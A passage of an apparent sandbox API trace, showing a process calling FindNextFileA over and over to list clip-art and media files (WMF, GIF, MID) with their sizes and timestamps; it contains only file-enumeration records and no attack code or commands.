lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc89dc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc89dc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN04326_.WMF", cAlternateFileName="")) returned 1 [0135.141] GetLastError () returned 0x12 [0135.141] GetCurrentThreadId () returned 0x9b0 [0135.141] GetLastError () returned 0x12 [0135.141] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN04332_.WMF", cAlternateFileName="")) returned 1 [0135.141] GetLastError () returned 0x12 [0135.141] GetCurrentThreadId () returned 0x9b0 [0135.141] GetLastError () returned 0x12 [0135.142] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc9c, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN04355_.WMF", cAlternateFileName="")) returned 1 [0135.142] GetLastError () returned 0x12 [0135.142] GetCurrentThreadId () returned 0x9b0 [0135.142] GetLastError () returned 0x12 [0135.142] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN04369_.WMF", cAlternateFileName="")) returned 1 [0135.142] GetLastError () returned 0x12 [0135.142] GetCurrentThreadId () returned 0x9b0 [0135.142] GetLastError () returned 0x12 [0135.142] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1384, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN04384_.WMF", cAlternateFileName="")) returned 1 [0135.142] GetLastError () returned 0x12 [0135.142] GetCurrentThreadId () returned 0x9b0 [0135.142] GetLastError () returned 0x12 [0135.142] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN04385_.WMF", cAlternateFileName="")) returned 1 [0135.142] GetLastError () returned 0x12 [0135.143] GetCurrentThreadId () returned 0x9b0 [0135.143] GetLastError () returned 0x12 [0135.143] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BABY_01.MID", cAlternateFileName="")) returned 1 [0135.143] GetLastError () returned 0x12 [0135.143] GetCurrentThreadId () returned 0x9b0 [0135.143] GetLastError () returned 0x12 [0135.143] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1306, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BD00116_.WMF", cAlternateFileName="")) returned 1 [0135.143] GetLastError () returned 0x12 [0135.143] GetCurrentThreadId () returned 0x9b0 [0135.143] GetLastError () returned 0x12 [0135.143] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6906, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BD00141_.WMF", cAlternateFileName="")) returned 1 [0135.143] GetLastError () returned 0x12 [0135.143] GetCurrentThreadId () returned 0x9b0 [0135.143] GetLastError () returned 0x12 [0135.144] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7114, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BD00146_.WMF", cAlternateFileName="")) returned 1 [0135.144] GetLastError () returned 0x12 [0135.144] GetCurrentThreadId () returned 0x9b0 [0135.144] GetLastError () returned 0x12 [0135.144] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d74, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BD00155_.WMF", cAlternateFileName="")) returned 1 [0135.144] GetLastError () returned 0x12 [0135.144] GetCurrentThreadId () returned 0x9b0 [0135.144] GetLastError () returned 0x12 [0135.144] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x57f4, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BD00160_.WMF", cAlternateFileName="")) returned 1 [0135.144] GetLastError () returned 0x12 [0135.144] GetCurrentThreadId () returned 0x9b0 [0135.144] GetLastError () returned 0x12 [0135.144] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3f34, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BD00173_.WMF", cAlternateFileName="")) returned 1 [0135.145] GetLastError () returned 0x12 [0135.145] GetCurrentThreadId () returned 0x9b0 [0135.145] GetLastError () returned 0x12 [0135.145] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4354, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BD05119_.WMF", cAlternateFileName="")) returned 1 [0135.145] GetLastError () returned 0x12 [0135.145] GetCurrentThreadId () returned 0x9b0 [0135.145] GetLastError () returned 0x12 [0135.145] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3ef0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BD06102_.WMF", cAlternateFileName="")) returned 1 [0135.145] GetLastError () returned 0x12 [0135.145] GetCurrentThreadId () returned 0x9b0 [0135.145] GetLastError () returned 0x12 [0135.146] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BD06200_.WMF", cAlternateFileName="")) returned 1 [0135.146] GetLastError () returned 0x12 [0135.146] GetCurrentThreadId () returned 0x9b0 [0135.146] GetLastError () returned 0x12 [0135.146] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x687c, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BD07761_.WMF", cAlternateFileName="")) returned 1 [0135.146] GetLastError () returned 0x12 [0135.146] GetCurrentThreadId () returned 0x9b0 [0135.146] GetLastError () returned 0x12 [0135.146] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x133c, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BD07804_.WMF", cAlternateFileName="")) returned 1 [0135.146] GetLastError () returned 0x12 [0135.146] GetCurrentThreadId () returned 0x9b0 [0135.147] GetLastError () returned 0x12 [0135.147] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BD07831_.WMF", cAlternateFileName="")) returned 1 [0135.147] GetLastError () returned 0x12 [0135.147] GetCurrentThreadId () returned 0x9b0 [0135.147] GetLastError () returned 0x12 [0135.147] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5f00, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BD08758_.WMF", cAlternateFileName="")) returned 1 [0135.147] GetLastError () returned 0x12 [0135.147] GetCurrentThreadId () returned 0x9b0 [0135.147] GetLastError () returned 0x12 [0135.147] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x60ca, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BD08773_.WMF", cAlternateFileName="")) returned 1 [0135.147] GetLastError () returned 0x12 [0135.147] GetCurrentThreadId () returned 0x9b0 [0135.147] GetLastError () returned 0x12 [0135.148] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbb7c, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BD08808_.WMF", cAlternateFileName="")) returned 1 [0135.148] GetLastError () returned 0x12 [0135.148] GetCurrentThreadId () returned 0x9b0 [0135.148] GetLastError () returned 0x12 [0135.148] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9d0e, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BD08868_.WMF", cAlternateFileName="")) returned 1 [0135.148] GetLastError () returned 0x12 [0135.148] GetCurrentThreadId () returned 0x9b0 [0135.148] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbaaa, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BD09031_.WMF", cAlternateFileName="")) returned 1 [0135.148] GetCurrentThreadId () returned 0x9b0 [0135.148] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x38cc, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BD09194_.WMF", cAlternateFileName="")) returned 1 [0135.148] GetCurrentThreadId () returned 0x9b0 [0135.148] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x504a, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BD09662_.WMF", cAlternateFileName="")) returned 1 [0135.149] GetCurrentThreadId () returned 0x9b0 [0135.149] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f1e, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BD09664_.WMF", cAlternateFileName="")) returned 1 [0135.149] GetCurrentThreadId () returned 0x9b0 [0135.149] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x34cb, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BD10890_.GIF", cAlternateFileName="")) returned 1 [0135.149] GetCurrentThreadId () returned 0x9b0 [0135.149] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4edd, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BD10972_.GIF", cAlternateFileName="")) returned 1 [0135.149] GetCurrentThreadId () returned 0x9b0 [0135.149] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4fe6, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BD19563_.GIF", cAlternateFileName="")) returned 1 [0135.149] GetCurrentThreadId () returned 0x9b0 [0135.149] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d75, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BD19582_.GIF", cAlternateFileName="")) returned 1 [0135.149] GetCurrentThreadId () returned 0x9b0 [0135.150] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32b6, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BD19695_.WMF", cAlternateFileName="")) returned 1 [0135.150] GetCurrentThreadId () returned 0x9b0 [0135.150] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x25ee, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BD19827_.WMF", cAlternateFileName="")) returned 1 [0135.150] GetCurrentThreadId () returned 0x9b0 [0135.150] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2244, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BD19828_.WMF", cAlternateFileName="")) returned 1 [0135.150] GetCurrentThreadId () returned 0x9b0 [0135.150] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3896, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BD19986_.WMF", cAlternateFileName="")) returned 1 [0135.150] GetCurrentThreadId () returned 0x9b0 [0135.150] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4780, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BD19988_.WMF", cAlternateFileName="")) returned 1 [0135.150] GetCurrentThreadId () returned 0x9b0 [0135.151] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2b32, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BD20013_.WMF", cAlternateFileName="")) returned 1 [0135.151] GetCurrentThreadId () returned 0x9b0 [0135.151] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30e8, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BL00008_.WMF", cAlternateFileName="")) returned 1 [0135.151] GetCurrentThreadId () returned 0x9b0 [0135.151] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x265a, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BL00012_.WMF", cAlternateFileName="")) returned 1 [0135.151] GetCurrentThreadId () returned 0x9b0 [0135.151] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1eb6, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BL00045_.WMF", cAlternateFileName="")) returned 1 [0135.151] GetCurrentThreadId () returned 0x9b0 [0135.151] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3f4, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BL00098_.WMF", cAlternateFileName="")) returned 1 [0135.151] GetCurrentThreadId () returned 0x9b0 [0135.151] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: 